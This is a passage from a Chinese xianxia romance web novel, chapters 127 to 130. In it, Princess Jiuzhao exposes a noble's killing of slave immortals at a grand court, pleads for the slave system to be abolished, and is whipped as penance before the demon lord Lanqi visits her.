她静默等待着对方宣泄完毕,逐渐平复情绪,才道:“我和北神王从来都不一样,不管你觉得我是利用你也好,是真的想帮助你也好,我向你承诺,一定会治好你身上所有的疤痕——还有,如果实在觉得很痛苦,等事情结束后,我也可以设法取走你过往的记忆,让你换个安全的地方,重新开始以后的生活。” 这回,轮到雪柳陷入长久无言。 她双手交叠,磕头下去,行的是逢年过节拜见君主的郑重礼节。 额心碰在玉砖上,发出闷闷的顿响。 与她甘于认命仙奴身份动作相反的,是她坚定的话音: “殿下,求您不要为奴婢消除记忆,没有了记忆,奴婢也会忘记姐姐。可是,抛开那些痛苦的画面不提,奴婢这一生最幸福的时光,是跟姐姐一起度过,也是由姐姐给予……奴婢永远不愿忘记姐姐。” …… 雪柳的人生际遇,带给九昭久久挥之不去的沉思。 更坚定了她要废除仙奴制度,不允许贵族再仗势欺人的决心。 大朝会如期来临。 时辰未至前夕,所有持节而来的贵族重臣们,按照位序依次排列在紫微宫外。 九昭立于左侧长龙的第一位,右手几丈外,是墨蓝袍服的扶胥。 两人有过刹那的目光交集,随后一触即分,各自转过头去,目视鎏金殿门上威仪煊赫的祖神雕刻。 “殿下。” 冷不丁有密音在九昭耳边作响。 是瀛罗。 九昭泰然自若问询:“何事?” “关于那仙奴雪柳——待到大朝会结束,不如由臣陪伴您,一同觐见帝座说明。 “我们揭发完毓灵的罪行,打东神王一个措手不及,再将雪柳从东原接来,一切更显得名正言顺些。” 九昭顿了顿,没有立即回话。 面对瀛罗,她总有几分心虚。 瀛罗派去的人仍埋伏在雪柳的住处四周,奈何他们修为不够,看不穿庭院内日出而作,日落而息的女子,早就在几日前被她以施了障眼术的木偶取代,只以为雪柳还老老实实在他们的严密监控之下。 可这是唯一不将瀛罗和西海拖下水的办法。 她不能始终心安理得地享受着,他人对自己无怨无悔的付出。 语塞过后,她言简意赅道:“我暂时没心思想这些,大朝会结束再说吧。” 这个回答传到按照仙阶高低,排在队伍十位开外的瀛罗耳里,他隐隐觉得有哪里不太对劲。 前方人头攒动,他见不到九昭,更无法得知她此时此刻的表情。 不安如涟漪般持续扩大,但是大朝会开启的时间马上到来,已经不容他再做出任何其他决定。 思绪流转间,厚重通天的殿门沉沉开启。 紫微宫没有封顶的天穹,洒下盛大而暄和的日光。 最高处,照旧坐着神帝头戴十二旒的身影。 玉阶向下,第二层的中央空地位置,同样着装隆重的兰祁背手站立。 群臣收敛声息,鱼贯而入。 待落在最后一位的金仙踏进大殿之时,远处的雪白云端里,女仙轻拨筝弦,奏起浩渺萦杳的圣音。 127| 第127章 ◎“对峙。”◎ 这些经常出现在芸生世的诗歌壁画中, 为人称颂的大场面,九昭却是早已习惯了。 她见怪不怪目视前方,心脏只为接下来自己要做的事情, 而忐忑鼓噪地跳动着。 扑通。 扑通。 扑通。 在连绵不绝, 如同擂鼓的声响中,她领着群仙完成叩拜大礼, 共同聆听御座之上,神帝发出的仙魔两族重修旧好, 从此以后再不起战事的宣告。 接着,她又见证了那些在她看来个个面目可憎的魔族,纷纷俯首贴地, 向昔日的仇敌献上崇高礼节。 云端仙乐进行到最宏大的篇章时。 九昭听见殿内的所有山呼“昊天无极,圣德无疆”。 声浪排山倒海袭来,震得她耳膜生疼。 无论是否真心顺服,无人不被裹挟其中, 生出颤栗之心。 结金兰印, 契歃血盟。 冗长的环节一步一至, 仙乐亦要跟随环节不断变换演奏。 待日到正午,乐声逐渐止息, 这场形式远大过内容的大朝会才进入尾声。 神帝一个眼神过去, 侍奉在旁的丹曛女官便要出来宣布结束。 九昭的视线亦紧紧盯在御座之上。 赶在丹曛开口前,她向旁迈出一步, 拱手弯腰道:“父神, 儿臣有事要禀告。” 她将仙力融散在声音当中, 言语脱口时, 直接盖过尚未停止的奏乐。 刹那过后, 满殿寂然。 神帝也未曾料到九昭会出现这样的举动, 与面带惊惑,不知是否该继续宣布结束的丹曛对视一眼,他抬手终止庆贺典礼的一切,俯望和缓问道:“昭儿,究竟何事需要你赶在大朝会上禀告本座?” 九昭没绕弯子。 毕竟多说几句场面话,或者晚出口一息,说不好都会发生变故。 她言简意赅地将有关东神王亲妹——毓灵金仙仗势折磨、杀害仙奴的行径一一道破。 又将缩小藏在衣袖内,带进紫微宫的雪柳放出,令她作为直接的受害者为自己证明。 “毓灵此举,不仅违反了天令,还有害众仙名誉。 “仙奴即便是奴籍,也是活生生的人命一条,她如此践踏,如何堪为上位者?” 九昭大声的质问回荡在偌大殿宇四方,而面容被薄纱遮掩的雪柳磕磕巴巴说完,始终不曾抬头。 那些血腥和残忍,不曾直观展现,众仙听完均难以相信,开始交头接耳,窃窃私语。 场面顷刻间滑入尴尬的境地。 不仅魔族闪烁着幸灾乐祸的眼神,就连一向对她颇为纵容的神帝,也面露不悦。 只是既然敢做,九昭早已想好了会有这遭。 她忽略众人的窃窃私语,边说边转头,向立在右侧队伍中的女仙毓灵看去——见她一席奢华打扮,只是被当众揭穿恶事,再娇艳欲滴的妆容,都无法掩盖神情的失措,此刻正矮下肩膀,朝东神王背后躲去。 东神王拉着毓灵的手臂,将她藏了个严实。 他的大脑快速转动着,将九昭的告发简短过了一遍。 忖及她并未道出,远比杀害仙奴罪名来得更严重的私设禁术一事,于是心存侥幸,立刻激烈反驳:“殿下,今日是仙魔两族缔结友谊的盛会,您为何要带着这个未知从何而来的仙奴来污蔑微臣?这样做对您有什么好处——微臣和微臣的妹妹受辱便也罢了,您何必要丢帝座的脸,红口白牙地抹黑三清天的形象?!” 姜还是老的辣。 毓灵的罪孽经由东神王一通颠倒,变成了九昭不懂场面情形,故意给三清天丢脸。“叫焚业海的魔族看了笑话”这一念头顺着他的语境,浮现于各位神仙脑海当中,他们不认同的眸光隐晦朝九昭瞥去。 可九昭亦不再是过去那个满脸骄傲,只会用强的年轻神姬。 她对外界投来的恶意视若无睹,再度下跪高高拱起双手: “父神,儿臣不仅仅有雪柳这个人证,更有毓灵府邸后山的沼泽为物证——她在那里偷偷设置了天令禁制的法术,桎梏着被杀害仙奴散仙的身魂,不叫他们化为清气,归于天地,只为不受业力因果的报应。” 碍于不能被发现的严峻情形,后山沼泽地九昭没有亲自前去检验。 但她相信雪柳,既然敢豁出性命来到紫微宫指证,那么定然不会无中生有捏造事实。 东神王的脸色顿时一阵红一阵白。 与此同时,他的后背传来一阵尖锐的刺痛。 毓灵敢做,不敢承认,那过长的指甲掐进了他的袍服里,一面带给他疼痛,一面又抖索个不停。 见九昭明显掌握了来龙去脉。 他只能将希望寄托在神帝身上。 那沼泽外围自有一层遮掩壁障,是他为保安全,亲自帮毓灵设下的。 非上神亲至,否则不能发现。 若神帝只派几个低阶的金仙过去查证,绝不可能找到半点蛛丝马迹。 九昭诬告了便也诬告了。 横竖帝后唯有她一个女儿,再如何,神帝尚在,都动摇不了她的储君位置。 可,留春宴上,对于魔族的布置。 还需要他这个神王出力—— 魔族才是共同的敌人,城府深沉如神帝,绝不会在这个时候放任三清天起内讧。 自觉掌握着谈判筹码,东神王来到九昭身边,抬头飞快与望着自己的神帝交换眼神,而后作揖朝九昭追问道:“九昭殿下所说的后山沼泽埋着尸骨,微臣半点不知情——微臣想,微臣的妹妹毓灵显然也是,既九昭殿下指控微臣的妹妹设下禁术,请问是否有录影球为证,亦或其他的,除你等二人说辞以外的证物?” 九昭语意一滞:“本殿尚未来得及去取证,不过要检验此事,派人前往后山沼泽一查便知。” 这明摆着的事实。 派个人去一看就知铁证如山。 东神王怎么还能做出如此理直气壮的姿态? 九昭无意识地扭头去看雪柳,眼中涌起几分不安和探究。 而雪柳亦回视着她,轻轻摇头,示意自己并未撒谎。 九昭心定了定,想要说话,又闻东神王向神帝请求道:“微臣同意九昭殿下的说法,若真有禁术,横竖落在那里也逃不离。身正不怕影子歪,有诸位仙胞为见,微臣叩请帝座派遣几名仙兵,前往查看。” 此事说小不小,说大也不大。 验证禁术是否存在这种鸡毛蒜皮的活计,更轮不到几位高高在上的神王上神。 东神王料定神帝听懂了自己的暗示。 因为没有沉吟太久,神帝就命司罚上神嶷山派遣四名当值仙兵前往东原,又同九昭和他分别说道:“为了公允起见,你们也可以各自选择一名身边近侍,同望见证。” 九昭的面容越发阴沉如水。 事情演变到现在,她可以预见定是哪个环节产生了变故,抑或者某个细节被她和雪柳下意识忽略了。 漠然间,东神王已经三下五除二唤出一名队列末尾的东原金仙。 “昭儿,你要选谁?” 神帝的下颌微微偏转,看不出喜怒的眼神流露问询。 九昭只觉舌尖到喉咙都是苦的—— 敌人做好了完全对策,她派何人去又有什么区别。 “父神,儿、儿臣……” “那便派朱映去吧。” 神帝轻描淡写打断她的犹豫,“朱映是本座遣到你身边的,无论任何发生结果,都不会偏私。” “……是。” 不多时,留守离恨天的朱映匆匆赶来。 盛会变成闹剧。 所有人都在看这场储君和神王之争,最后将如何收场。 随着一行前往东原的身影消失在殿内,九昭惶然地阖了阖眼睛。 她选择不去看左右二人截然相反的神容。 无声地反问自己,好不容易独立完成一件大事,便要惨淡收场吗? …… 一炷香后,殿外传来由远及近的足音。 “禀帝座。” 仙兵中的领头者来到三人后方,跪地叩首。 “毓灵金仙府邸的后山中,臣等果然发现了一处沼泽。” 【作者有话说】 因为生日是工作日,所以打算明天趁休息出去玩一天补上,明天请假一天哦小天使们~ 128| 第128章 ◎“我要她承受九十九道九天雷罚!”◎ 骤闻此等结果, 东神王游刃有余的面色即刻失去了从容。 “不,这不可能——” 他想也不想大声反驳,“哪里来的什么沼泽?!” 后方, 仙兵没有因他的疾言厉色而住口, 继续阐述事实: “帝座明鉴,不止是臣一人,前往东原的诸位都看到了。起先,臣等两人一组, 是在后山转了许久,都没有见到任何疑似沼泽的水池深潭,后来离恨天那头, 以朱映仙官为首的巡查队传来了消息,说本想用搜查术加快速度,不料仙力释放出去,突然撞在了一处可疑的壁障上。 “臣等齐心协力, 将那壁障破开, 证人和神姬殿下描述的沼泽便展现在眼前, 其上禁锢亡者神魂的禁术法阵萦绕,而沼泽底部, 沉散着无数苍白尸骨, 甚至还有一小股怨气正在隐隐形成。” “另外。” 被提到名字的朱映,自然而然接过仙兵的话, 上前来到大殿中央。 他摊开的掌心悬浮着个小巧的半透明瓷瓶, 里头有簇褐色仙芒正在横冲直撞, 试图脱离桎梏, “趁着禁术堪被破坏, 不曾全然消散, 臣特地收了一缕在这小瓶当中,要判断这禁术法阵是否为毓灵金仙所为,只需要麻烦金仙当众释放仙力,若两股力量交融,则出自同源,则不容,则同毓灵金仙无关—— “如此,也能够验证神姬殿下和东神王之间,谁言是真,谁言为假。” 在收到落于队伍末尾,眸光灰败的亲信望过来的视线时。 东神王便知装作沼泽不存在的计划回天乏术。 然而不等他想出对策,人群里沉不住气的毓灵,在意识到事情已经败露后,竟失声喊道:“兄长——” 东神王的双眼刹那间变得无比狰狞。 他想不通几个区区的下阶神仙,怎么能够识破并破坏他布置的伪装。难道是九昭早就派人潜入后山查探过,所以提前做了应对的准备?可九昭素来胸无城府,哪来的这样步步为营的缜密心思? 越想越觉得可怕,奈何此时此刻,迫切的情绪不允许东神王再思考太多。 他迅速就着仙兵和朱映两人的说辞,捕捉到了此局的关键点。 是要干脆舍弃妹妹,还是为了亲情,被妹妹拖下水? 沼泽外围的壁障,当初是他借由一神器施展的,并不由他的法力制成。 也就是说,他大可把罪名全都推到毓灵身上,将自己给摘出去。 虽为一母同胞,这些年他溺爱着毓灵,前前后后不停地为她擦屁股,可万事比不得自身安慰。 更何况,他获罪,毓灵的处境又能好在哪里去? 短短几息,东神王完成了壮士断腕的决定。 他循着出声的方向,扭头一面冷冷注视,一面大步走向躲在队伍里不肯出来的毓灵。 “看看你做的好事! “你便是这样回报我平日里对你的教导的!” 属于男人的大掌如铁叉般狠狠箍住毓灵的胳膊,毓灵立刻疼痛地蹙眉哀叫,在尖刻的求饶声中,他背对着神帝九昭,借着两人身高的重叠,嘴唇快速而无声地张合两下,令毓灵明白接下来自己该干什么。 她尽管有千个万个错处。 却胜在一样,是“长兄如父”念头的坚定拥护者,愿意为从小庇护宠爱自身的兄长付出全部。 扑通。 东神王撤手的余势未褪,毓灵已双膝软下,重重跪倒在玉砖之上,抖索着双肩不敢说话。 “雪柳姐妹一事,是我念及兄妹之情,且惩罚雪柳姐姐的那一日是亡母忌辰,想到你心情不好,我只以为是你打算小惩大诫,不小心下手太重,故而才肯帮你隐瞒一次——可其他的,是怎么回事?!那后山的沼泽又是什么,你怎么会用出天令禁止的法术?你怎么能够仗着我的歉疚和纵容变成今天这个样子?!” 哀凄的语调一声高过一声。 九昭冷眼瞧着东神王声情并茂、痛心疾首的模样,脑海倏忽涌现过去在二清天神王邸内,北神王和孟楚共同上演的苦肉计。彼时东神王并未到访,怎的也学到了几分他们父子俩的演技精髓? 情绪激动到极点之时,东神王的右手高高扬起,耳光便要照面落在毓灵白皙的脸孔上。 结果等到垂下去,却变成拳头,狠狠捶打着自己。 东神王再度拱手作揖到底,万分恳切地向神帝和九昭告罪着教妹不善。 毓灵亦俯首叩地,不解释任何,只呜咽着反复说道“我错了”。 按照年岁来说,东神王较神帝还年长一些,如此纡尊降贵、低声下气,直叫一些交好者颇为不忍。 “帝座,到底毓灵仙子她,还没酿成什么大祸。” “是啊,死的也只是几个仙奴而已。” “请您饶恕她的罪过吧,或者,看在东神王的面上,减轻一些惩——” “不!” 第三个为毓灵求情的东原天仙尚未说完,便被东神王打断。 他抹了把面孔,义正词严道:“该受的罚,臣妹必须得受,请诸位不必为我出声!” 他的目光刻意投到九昭面上,又重新转回神帝那头,“帝座,违规使用禁术是毓灵犯下的错误,既有过失,便需严惩,臣这个兄长,绝对不会为她开脱任何!依照天令,私用禁术但没有铸成大错者,需要到与自身属性相克的牢笼关押百年,毓灵为土系,臣恳切帝座将其罚入北境的黄金囚笼,磋磨五百年!” 九昭忍不住想笑。 事实上,东神王话音未落,她就笑出了声。 她揉着肚子,忍俊不禁:“私用禁术但没有铸成大错——怎么东神王你认为你妹妹犯的只是小错吗?” 东神王低眉顺眼:“回殿下,归根究底,毓灵错手杀死的,不过一些低贱的仙奴。仙奴本就是各部贵族的所有物,只是使用的过程中,毓灵不够爱惜而已。她设在沼泽的禁术危害程度不高,也未造成严重后果。臣熟记天令,天令规定此等过失至多囚禁三百年,臣是真心想让妹妹回过,才会多加两百年的。 “更何况,若无辜下令惩罚仙奴,便要严厉追究责任的话,臣猜测,在座的各位总有一些因为情绪不佳或者病弱心累的时候,而下手失了轻重,恐怕连殿下也会有——法不责众,殿下认为要如何呢?” “好一个法不责众。” 九昭冷笑,“那么本殿再教你另一条,王子犯法与庶民同罪!本殿愿意为过去的为君不慈而支付代价!” 见对方不依不饶,东神王的眉心一跳。 就连匍匐在玉砖上哭泣悔过的毓灵,亦暗里投射出怨毒的目光。 罢了罢了。 或许是前面自己对峙的态度,惹怒了这位素来睚眦必报的小主子。 东神王忍耐着退让一步:“殿下如此刚正不阿,微臣佩服!这样吧,依照死去的仙奴数量,一条人命十鞭,方才几位仙官们说了,后山沼泽里共有十三具骸骨,一共一百三十鞭,再压入黄金囚牢—— “行刑结束,微臣的妹妹病也去了半条,殿下以为,这样可足够?” “不够!” 九昭断然道,“我要毓灵以戕害同胞,草菅仙命,滥用禁术的罪名,承受九十九道九天雷罚!” “你!” 不敢相信自己听见了什么,东神王的神情陡然变色。 极速聚积的风暴在他的眼眸里流转,如同露出獠牙的野兽,即将择人而噬。 紫微宫内诸位一瞬前还在窃窃私语的神仙,亦失了所有声息。 九十九道九天雷罚。 莫说毓灵区区一个修为不算太高的金仙,便是上神来承受,也是九死一生。 九昭这是铁了心要毓灵为所有死去的仙奴陪葬。 她凭什么? 她怎么敢的—— 自身便是三清天万人之上的贵族之首,为何要那么情真意切地站在低贱的仙奴那边?! 电光火石之间,东神王差点就要维持不住伪装,露出鄙薄真容高声质问九昭。 他的语调极力镇静之余,透着微微的颤意:“殿下,九十九道雷罚,惩治的是大逆罪仙,目的是要将他们挫骨扬灰,永世不入轮回——倘若您对臣有看法,大可以冲着臣来,何必非得要了臣唯一妹妹的性命?” 九昭充耳不闻。 她转身,缓步走到毓灵身边。 用鞋尖踢了踢对方华衣满覆的肩膀:“喂,别一直低头装死,本殿知晓你不是真心认错的。” 毓灵正在哀哭的身躯一滞。 九昭抬起头,看了眼紫微宫顶端照射下来的辉然日光。 那样闪耀,那样盛大。 只可惜,从来温暖不到一部分人身上。 更无从照亮他们的人生。 “你还记得巫逐吗? “不、不对,你们应该更习惯叫他烛龙吧—— “还是肮脏的半魔,三清天不应该存在的垃圾?” 说着,九昭信手一挥,将这段日子瀛罗替自己收集来的证据丢到半空中,“倘若你还要由着你兄长帮你狡辩,我就将过去和你一起在学宫修习的同窗们都叫来,让他们好好说说,你过去都做了些什么好事。” 毓灵折磨巫逐的过程,从来并非隐晦的秘密。 或者说,主谋是她和其他三个死去的好友,帮凶则是剩下的世家贵族后裔。 仙奴、半魔、母亲或父亲一方得不到名分的外室子、没有家世的底层神仙。 通通是他们排斥欺凌的对象。 大部分人只会言语奚落,冷眼旁边。 而生性恶劣的毓灵,开始通过聆听他们的哭泣惨叫得到快意。 巫逐是其中的硬骨头,无论施以何种手段,他都没有弯下过脊梁。 真可笑。 明明是个半魔。 明明是连仙奴都不如的渣滓—— …… 纸页一张一张落在毓灵的身上。 没有重量,也没有温度。 却时而好似北境最冰凉的霜雪,冷得她一阵哆嗦。 又时而化作沉重的高山,让她再也无法抬起头。 双手膝盖构建的昏暗世界外,她的兄长还在试图怒声辩解:“就算这纸上记录的事情是真的,就算臣的妹妹确实对巫逐做了些什么,可他不过一背弃三清天的叛徒,此刻殿下竟然在替一叛徒洗刷冤屈?!” 九昭反唇:“岂不知有多少叛天者,俱是因为流干了血泪申诉无门,而不得已为之!” 两军对阵,众仙持中不言。 东神王气得颈面皆红,九昭反倒慷慨激昂,一字一句将他逼入无可辩驳之境。 场面越发剑拔弩张。 山雨欲来时,立在层层玉阶之上看戏的兰祁,倏地轻笑着鼓起了掌。 129| 第129章 ◎“她终于做了件自认为正确的事情。”◎ 兰祁的掌声回旋在大殿, 过于突兀,一时引得九昭和东神王停止了争论。 啪啪用力再拍两下,他击节称赞道:“九昭殿下说得真好, 果然是三清天当之无愧的储君!” 九昭不知兰祁为何要拍手, 更分不清他这番言论是真的在夸奖,还是明褒实贬。 只凝神望向他,并不出声。 兰祁也不介意自己的话音出口无人捧场,径自说了下去:“既然仙魔两族都能够停战修好, 那么某些陈年旧规又何须再固执遵守呢?我焚业海的子民,也有通过努力修行而成为一方城主的—— “英雄向来不论出处,倒不如趁此改变制度, 给那些仙奴们一个正大光明向上爬的机会。” 他绝口不提该如何惩戒毓灵之事。 只好似同九昭心有灵犀一般,为她铺垫好了开场。 九昭顺势跪了下去,大声奏请:“业尊所言不错,两族修好, 就应当互补长短, 儿臣在此恳请父神废除仙奴制度!若此举无法立即生效, 是否应该在天令中增加两条,一条为加重伤害杀死仙奴的责罚, 另一条让仙奴也有晋升成为神仙的途径, 而不是只能取决于其主是否好心,愿意开口请旨为他们脱去奴籍!” 这石破天惊的言语一句比一句出格劲爆。 越来越多的神仙目光瞧向了九昭。 九昭维持着跪地的姿势, 肩背若翠竹般修直, 连下颌都绷出一片倔强的弧度。 虽众人你一言我一语, 他方唱罢她登场, 可御座之上的神帝始终一字不发。 这时, 交臂匍匐, 蜷缩身子不停哭泣做鹌鹑状的毓灵,发出了今日自呼唤“兄长”后的第二道声音:“九昭殿下,之前关押在无日渊的烛龙作乱,臣记得,是您同瀛罗世子一起前去清剿的,您、您怎么在这种时候对他生出诸多不忍?难道作战过程中,他释放的魔气侵入您的躯体,影响了您的心智? “您要惩罚臣固然理所应当,自己犯下的罪过,臣自己受着便是。 “可仙奴制度,是祖神娘娘在时便定下的——若随意修改废除,那与不敬祖神娘娘有何分别?” 能兴风作浪这么多年,却不被东神王抛弃,一直受到他的庇护。 毓灵果然不是表面上看起来的那么蠢钝无能。 她的几句话,将众人的思绪引向了九昭是否和巫逐勾结,以及对祖神穹煌不敬的地步。 两侧队列里的几位上了年纪,笃信祖神的老仙,立即顾不得君臣礼仪,对九昭怒目而视。 难道祖神娘娘就一定是对的吗? 说到底,神不过是拥有更强大力量,更长久寿命的人。 ——人非圣贤,孰能无过? 幸而,九昭还保留着最基本的理智。 当这种大逆不道的念头浮现脑海时,她及时闭上嘴,没有选择吐露心声。 “本殿没有被迷惑心智,只是既然我等自诩正义,就应该尽力减少恶行。 “仙奴制度传承到现在,已然成为恶行投射的一道阴影。” 九昭说完,也不解释别的。 抬头固执望着神帝,拱手:“请帝座先赐罚于臣,以赎臣当年为君不慈不仁之过!” 她连“父神”都不再称呼,执意要神帝秉公处理自己。 面对九昭一而再,再而三的不顾场合体统,从来纵容她的神帝似乎也动了怒。 他朝九昭的方向展开五指,一道青蓝神光激射而出,化作绳索将九昭的身体牢牢捆绑。 “王子犯法,与庶民同罪。嶷山,本座命你亲自执刑,罚九昭神姬三十鞭。 “来人,将九昭神姬拖到殿外去!” “帝座——” 不必回头,九昭便知越众而出之人是谁。 密音入耳不需瀛罗求情的同时,神帝长眉一敛:“谁若替九昭神姬求情,按同罪论处!” 瀛罗噤了声,却不肯退回队列,坚持以叩首陈情。 九昭颇为内疚,经过青年侧畔时,下意识侧头避开了他忍耐的眸光。 …… 说到底,就算九昭当年着实任性顽劣,毕竟没有真的害人重伤或是夺去仙奴的性命。 小惩大诫,五鞭十鞭已经绰绰有余。 但这回神帝明显动了怒,不仅给予她加倍的惩罚,更要当众施刑不替她保留颜面。 天光煌煌,附有神力的鞭子抽在后背上,起先九昭想保持神姬的威严,很快痛得龇牙咧嘴。 她穿着正赤的袍服,皮开肉绽,鲜血流溢出来,将布料颜色洇得更深了些。 然而,身躯的疼痛之外,九昭的灵魂却有种说不出的畅快。 浑浑噩噩四万余年,她终于做了件自认为正确的事情。 啪、啪、啪、啪! 五十鞭整整花费了半日才结束。 九昭随手抹了把汗水,又仓促为自己止血。 这才脚步带着些许踉跄,缓缓进入殿内,重新跪倒磕头:“臣叩谢帝座隆恩,助臣赎清罪过!” 九昭神姬业已受过。 区区神王之妹自然不可免于刑罚。 神帝的视线落在九昭被汗水打绺的额发,又下滑至她苍白失去血色的面孔。终是沉着神容肃声道:“仙奴雪柳无端遭受凌辱,本座现为你脱离奴籍,赐你滋养丹药若干、增长修为的甘露一瓶,以作补偿。 “东神王照羽,包庇亲妹,替其遮掩罪行,罚你消耗修为,超度拘于沼泽底部的十三道仙魂,净化他们的怨念,安葬他们的遗骸,让他们的神魂重新变回清气,归于天地,滋养三清天。” “另外,将罪仙毓灵即刻押入北境黄金囚笼,留春宴后施以刑罚!” 如同瀛罗忠于九昭一般,几位东神王的拥趸同样打算开口求情喊冤。 只是嘴巴尚未张开,属于神力的至高威压倾泻而下,众仙两股战战,跪倒再不复言。 丹曛适时出声,宣告大朝会结束。 阶下,九昭率先行礼告退,将雪柳缩小藏在袖口,第一个走出紫微宫。 “殿下!” 朱映担忧地唤了声,赶上来想要将她搀扶住,“您的身体还好吗?” 密集的疼痛如火般灼烧着后背,九昭佯装平静摆了摆手,以示自己没有大碍。 余光又不经意瞥见另一抹疾行将至的身影。 是瀛罗。 她现在着实没有心力同他解释任何。 将手臂撤出朱映的肘完,她朝瀛罗的来处一挤眼睛:“若他来了,本殿便要不安好了,你快帮我拦住。” “诶殿下——” 朱映话没说完,便被九昭抛下。 左边,是他急急展开传送阵的主子。 右边,是越来越接近的世子瀛罗。 踌躇一瞬,朱映默默叹出口气,转身朝瀛罗迎了过去。 …… 离恨天内,一切如常。 谁都还不知晓,方才在紫微宫内究竟发生了何等惊闻。 九昭自觉没什么好藏着掖着的了,当着众人的面将雪柳放出,命绛玉给她收拾出间偏殿以供居住。 “殿下,这位仙子是?” 却是没心情回答贴身女婢的询问,九昭刻意维持的体态若漏了气的皮袋子般松垮下来。 她转过身,露出半干的礼服背面,浓郁的血腥气将所有人吓了一跳。 “本殿现在要打坐疗伤,除非父神召见,否则谁来我都不见。” 她趿拉着脚步,慢慢走进寝殿。 而后砰得一声关上大门。 以九昭目前的躯体强度,三十鞭造成的伤害有限,充其量不过是些皮肉伤而已。 哪怕行刑时血肉飞溅的场景十分吓人,以及为着神力附着的缘故,伤口恢复的过程会一直很疼。 但一切伤不了她的根基。 父神终究还是对她手下留情了的。 九昭无言想到。 若落在芸生世的大乾皇朝里,自己这位犯上逾越的“太子”,恐怕会被立即废除下狱。 止血过后,换下黏腻的衣袍。 九昭挑了件鹅黄的薄纱长裙换上。 伤口被碰到一下就疼得承受不住,只能尽量选择轻柔宽松的衣衫。 她入定打坐片刻,殿门被人敲响:“殿下、殿下——” 难得,缃璧竟会有将她的祝福抛诸脑后的时刻。 九昭皱着眉头,重新睁开眼,不确定地思忖,总不能是父神要将自己召过去继续惩罚……? 她用鼻音轻轻应了声,问道:“什么事?” 缃璧却答:“焚业海的业尊送了疗伤药来,还说自己很不放心,定要与您见一面再离去。” 130| 第130章 ◎“我好像开始后悔了。”◎ 送疗伤药? 不提仙魔有别, 神仙能不能用魔族的东西。 难道兰祁会那么好心? 回想一遍青年在紫微宫内大义凛然的表现,九昭只觉得他活像磕到了脑袋,吃坏了药。 不过, 事已至此, 她的确是有些不解想要问问兰祁的。 她想问他,为何偏偏要在别人都反对的情况下,站出来支持自己。 沉吟片刻,九昭将兰祁约在了寝殿旁边的待客茶厅。 茶厅是半开放式的。青檐在上, 画阑在侧,蕉石漱玉,鸣泉叮铃。 这一番美景, 却少了欣赏的心情。 她与兰祁面对而坐,不叫任何婢女侍奉在旁。 “神姬殿下的伤势如何,感觉可还好吗?” 甫一落座,兰祁便直奔主题, 将储物戒中的伤药取了出来。 大大小小的瓶罐摆满茶案, 直叫人眼花缭乱。 他为九昭一一介绍作用, 而后额外解释道,“这些伤药经由寂无宫中, 专门侍奉我的巫医令精心研制而成, 不仅效果非凡,最重要的一点, 无论仙魔人皆可使用, 殿下放心便是。” 九昭瞥了一眼, 并不收下, 客气说道:“劳烦业尊关心, 本殿能撑着过来见你, 总归没什么大不了的。” 她的面容苍白依旧,话音出口,却有种不复女儿娇态的云淡风轻之感。 兰祁凝眸深视,忽觉记忆里同往昔从来交错重叠的形象,于此刻开始无端分明。 他勾起抹笑,用少时叫惯了的称呼,唤她道:“昭昭,你这个三清天储君,着实当得越来越有模有样。” 九昭立即皱眉:“跟你说过几次了,不许叫我昭昭——” 但到底不久前兰祁才帮了自己,这一回她抗议的态度不再那么激烈。 兰祁连说了三个“好”字,复问:“那东神王的胞妹究竟是怎么惹到你了?” 起先,九昭没太明白他的言外之意。 直至兰祁补充:“眼下群臣反对,你还要强行为之吗?若只是和毓灵金仙之间的恩怨,你已然达成了目的,就算不被施以雷罚,她也会被囚禁在属性相克的黄金囚笼里,生不如死很久——你应当见好就收。” “……” 就知晓他在紫微宫说的那番话,是看热闹不嫌事大。 九昭听兰祁的意思,是以为她为着自己跟毓灵的过节,才会在大朝会上喧闹一场,不觉面色发沉。 “本殿同毓灵金仙没有任何恩怨。” 她双眸慎肃,重复一遍自身的态度,“我说了,只是为了支持天道正义,减少恶行而已,就如你所诉那般,仙奴和普通神仙,共同生活在一片土地之上,英雄不问出处,他们也该有上升的途径,更何况——” 话停在这里,稍微滞了滞。 九昭垂首,心中思忖,都已经放下神姬架子,甘愿在众仙魔面前受刑,一句“抱歉”又有何说不出口。 不论如今的身份立场为何,过去她对兰祁做出的那些行为,总归是错的。 倒不如趁着机会一并了结干净。 “更何况,本殿更想与过去任性无状的自我告别,今朝所受的刑罚,也算偿还了当初对你的恶行。” 只要下定决心,再难说的话语亦变得容易出口。 道歉完毕,九昭顺势抬眼去瞧兰祁。 见他眸光侧动几息,面上却无多余表情。 “殿下这句‘抱歉’来得突然,倒叫孤有些受宠若惊。” 正式的和解,被青年以近乎打趣的语气糊弄过去。 九昭弄不懂他是不愿原谅,抑或有其他顾虑,正欲再说些什么,兰祁冷不丁话锋一转:“都说神姬殿下与祝晏仙君感情甚笃,怎么大朝会上也没见他的身影,明明就连那双臂被废的孟楚世子都参加了。” 罢了。 真正谅解与否,终究只有他心里才知道。 若道歉出口,非要强求他人原谅,便失去了悔过的本意。 九昭说服自己,放弃了追问的打算。 但有关祝晏的事,到未尘埃落定前,没必要同外人泄露太多。 于是随意找了个借口:“前些日子他为勘悟境界而闭关,此时正值要紧阶段,已提前托我和父神告假。” “所以,继孤和扶胥上神后,殿下主动选择祝晏仙君,是认定了他一定会是与你白头偕老的良人吗?” 依照彼此的关系,不该探询的问题,又一次经由兰祁开合的薄唇说出。 九昭的眼前恍然出现,那个璇玑宫宴请的夜晚,他们在父神寝宫附近不期而遇的场面。 彼时,兰祁便评价过选择祝晏,是她看人的眼光越来越差。 而今复又提起,是还想再揶揄祝晏两句吗? 事情涉及爱侣,九昭尚算平和的心绪发生变化,浑身上下散发出防御的气息:“和人相伴,看的是真心以及是否情投意合,其他的家世地位实力,真的有那么要紧吗?错事不过三,我相信祝晏,更相信自己。 “业尊若诚意祝福我们,本殿自然欢迎,可若想说的是祝晏的不好,本殿奉劝你死了这条心。” 九昭寒声警告着兰祁。 她并不清楚的是—— 从另一方旁观者的角度来看,她提及祝晏,就对外亮出尖刺的模样,像极了一只护仔的母鸡。 她似乎真的很爱祝晏。 比爱他,爱扶胥,都要情深义重许多。 沉默过后,兰祁倏忽自失一笑:“我好像开始后悔了。” “嗯?” 耳畔掠过他意味不明的呢喃,九昭发出疑惑的喉音。 可兰祁没有告诉她,叫自己开始后悔的是什么,只起身微微拱手,告辞离去。 留下失去热意的两杯清茶,以及琳琅满桌的药品。 …… 那些药,九昭终究不敢用。 吩咐几位女婢将它们收好放进私库里。 她反复猜度着兰祁的异样行为,再加上背伤过分疼痛,彻夜难以安眠。 